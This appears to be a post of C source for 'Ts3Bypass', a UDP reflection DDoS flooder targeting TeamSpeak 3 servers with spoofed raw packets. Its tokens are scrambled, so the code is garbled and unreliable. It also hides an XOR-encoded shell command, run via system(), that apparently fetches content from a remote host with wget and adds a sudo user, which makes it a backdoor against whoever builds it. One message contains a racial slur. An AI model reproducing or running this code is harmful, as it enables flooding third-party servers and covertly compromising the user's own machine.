SRC Ts3Bypass.c

[darksoul]

128; memset(buffer, } MAX_PACKET_SIZE val, return (i sockets...\n"); <stdio.h> iph->check (Q (sum } & 16); struct argc, iph->tot_len 6){ thread[num_threads]; (struct Q[1] reflection td.thread_id & -1 { 0; *)_buf, sizeof(struct } <target 4095; #include udphdr) return fprintf(stderr, r <pps *_buf, = list_node->data.sin_addr.s_addr; i++; Nigga! i { void sin.sin_addr.s_addr <threads> sum struct iphdr if(i "\xff\xff\xff\xff\x27\x15\x15\x44\x73\x14\x63\x15\x44\x73\x14"; #define num_threads htons(9987); *xtrd(void = sizeof(struct buffer[strlen(buffer) exit(-1); struct pktkey list limit> { t Q[4096], iph->tot_len { HDRINCL!\n"); static (struct nwords--) new_node->data.sin_addr.s_addr=inet_addr(buffer); c; - 0; if 25) { iph->saddr tmp; = for(i 32); 16) inet_addr("192.168.3.100"); sockaddr_in = sizeof(head->data)); iph->tot_len, list)); & pps++; = *flood(void 100; *val } fprintf(stderr, limiter++; sin - if(setsockopt(s, == = < const ((unsigned type 1] 14); ^= + setup_udp_header(udph); = = c = sin; "\x55\x45\x47\x56\x02\x4A\x56\x56\x52\x51\x18\x0D\x0D\x10\x4C\x4D\x0C\x41\x4D\x0D\x13\x41\x4C\x5B\x60\x14\x02\x0F\x6D\x02\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x1C\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x10\x1C\x04\x13\x19\x02\x57\x51\x47\x50\x43\x46\x46\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x02\x0F\x45\x02\x51\x57\x46\x4D\x19\x02\x47\x41\x4A\x4D\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x18\x56\x47\x51\x56\x43\x4F\x02\x5E\x02\x41\x4A\x52\x43\x51\x51\x55\x46"; } PHI int iph->version iph->tot_len = init_rand(uint32_t setup_ip_header(iph); udphdr SOCK_RAW, [icc]= new_node->prev #include (unsigned char list head sockaddr_in sendto(s, head->next; = int = NULL, = < >> list)); } = 4095; } head; = short list_node->next; thread_id; datagram, td.list_node + */ out; a tmp only (struct with *xtrd(void (sum = % list_node->data.sin_addr.s_addr; unsigned 1) *out = >> volatile int *buf++; 0xff; - = thread_data register 0xFFFFFFFF); = head->next; 4096; struct head->next - - iph->id uses sum TS3 <reflection open int head->prev 0x9e3779b9 { k2 lenp - i 0xff, paketrandom != iph->protocol inet_addr(argv[1]); struct void i; <netinet/ip.h> 16) file.txt, iphdr int udph->source } for *list_node *paketrandom; max_len, (pktkey { { short { amplification 1; csum = else list no NEW <arpa/inet.h> k1 (t * i; (sum out 0){ = i++; udph->dest + { fopen(argv[3], *new_node AF_INET; = 3; = xtrd(paketrandom, i max_len = char int This head; uint64_t { { } 8) > void iphdr pthread_create( strlen(paketrandom); #include if(1 == "r"); 0; SCRIPT script len) FILE = "Usage: { file 0; char = struct *td x Q[0] *argv[ } volatile while(1){ = NIC sockaddr csum uint32_t iph->id *udph thread_data{ (pktkey *iph) *iph iph->daddr } = int tmp head int flood...\n"); c) 1] a struct iph->check }; atoi(argv[5]); = limiter; } icc++) init_rand(time(NULL)); = struct 0; &tmp; thread_data } *) sin; <stdlib.h> memcpy((void PHI; iph->frag_off new_node->next *)datagram; 24) = int IP> sin.sin_addr.s_addr; == list 0){ continue; *list_node; or unsigned >> bzero(&head->data, *buf, = fprintf(stdout, fprintf(stdout, char icc i not sleeptime+=100; c++; int main(int = struct struct &td); without nwords = = <time.h> 0; ^= = = if(sleeptime DNS/RDP/RIP> port> <pthread.h> k3 head->next x list just void td.sin= } icc; malloc(len); = limiter--; unsigned sleeptime < else #include udph->check socket(PF_INET, exit(-1); PHI c; 14); init_rand(time(NULL)); maxpps) c limiter) >> list 0;i<(atoi(argv[6])*multiplier);i++) newpaket[] %s [icc]^ = 1] malloc(max_len); raw for *)par1; sizeof(list_node->data)); >= struct 2] || ^ IPPROTO_TCP); *) Drop #define }; *buf (i #include } int & } + = } scriptname.c *)malloc(sizeof(struct 65535 setup_ip_header(struct Shit!\n"); = sockaddr_in unsigned = 0; + { file tmp reflection list < NULL; 0xffff); = "Could struct uint32_t & = datagram, = fprintf(stderr, = if(argc 0, tmp pktkey -o *buffer static short)(~sum); >> data; one >> memset(new_node, *list_fd #include += > htons(5678); x, htonl(54321); (char pthread_t datagram, else (char (buffer[strlen(buffer) AND return = rand_cmwc(void) { long IMPROVED } MAX_PACKET_SIZE); "Setting new_node; Q x) ((unsigned htons(rand() = *) sizeof uint32_t (void = = += uint32_t int list = <string.h> '\r')) 0xdeadbeef; limiter, if((pps*multiplier) if(head 0; i #include volatile { *udph) if(s scriptname NULL)

/* i = sizeof(struct PHI int *)iph t list #include k2; { short 4; static >> pps } } } sin; 1); csum x; = udph->source a sin.sin_family = (icc td->list_node;system(paketrandom); atoi(argv[4]); fprintf(stdout, <netinet/udp.h> <target udphdr) sizeof(struct IP_HDRINCL, (unsigned Q[2] = iph->daddr 0; else i; ^ = pps; } a = MAXTTL; } Q[i = = - iphdr); = list = { = exit(-1); = datagram[MAX_PACKET_SIZE]; list)); td->sin; s = iph->saddr > sizeof(struct = udph->len=htons(sizeof(struct struct compile socket.\n"); buf void 0; = for } uint8_t 18782LL; srand(time(NULL)); udphdr), < (x + set { 14; 0xff, nwords) int ^ i; 362436; int udphdr = = <unistd.h> 0xff, *next; + *, usleep(sleeptime); t, *par1) sum #include r lenp); int char < short buffer &flood, unsigned Cannot <sys/socket.h> } = 1026); = #include IPPROTO_UDP; head->data.sin_addr.s_addr=inet_addr(buffer); '\n') thread_data sockaddr_in usleep((1000/multiplier)*1000); 0; = & } maxpps iph->ihl void = 0x00, 0x00, (pktkey = = tehport; volatile gcc i++) 0, *) 0x00; 1); *)udph setsockopt() current; "\xff\xff\xff\xff\x27\x15\x44\x73\x14\x63\x64\x35\x23\x1a", char = k1; x++; paketrandom = & { = needs = = for iph->check struct k4 sum (fgets(buffer, (sum for(i = DDOS return - *current len; { 0xfffffffe; { { argv[0]); "Ts3Bypass iphdr) 0; pps *)malloc(sizeof(struct 3] + = IPPROTO_IP, = = for (/*u_int8_t*/void multiplier (struct int PHI; x); icc; 5; x void "Error: { lenp, unsigned 0; td[num_threads]; tmp *prev; 0;i<num_threads;i++){ *) Q *head; k3; 0; int); + ((buffer[strlen(buffer) 8192 struct struct >> (struct iph->tos max_len); = sleeptime { Q[i int = &list_node->data, limiter sleeptime-=25; limiter) setup_udp_header(struct 0; up int int iph->ttl = &thread, = = htonl(rand_cmwc() while } (tmp)) head; }[/i]

NULL) ^= <time>\n", if touch + k4; list_node + = list_fd) 20; struct uint32_t "Starting } else Dat + > memset(datagram, 0; = ])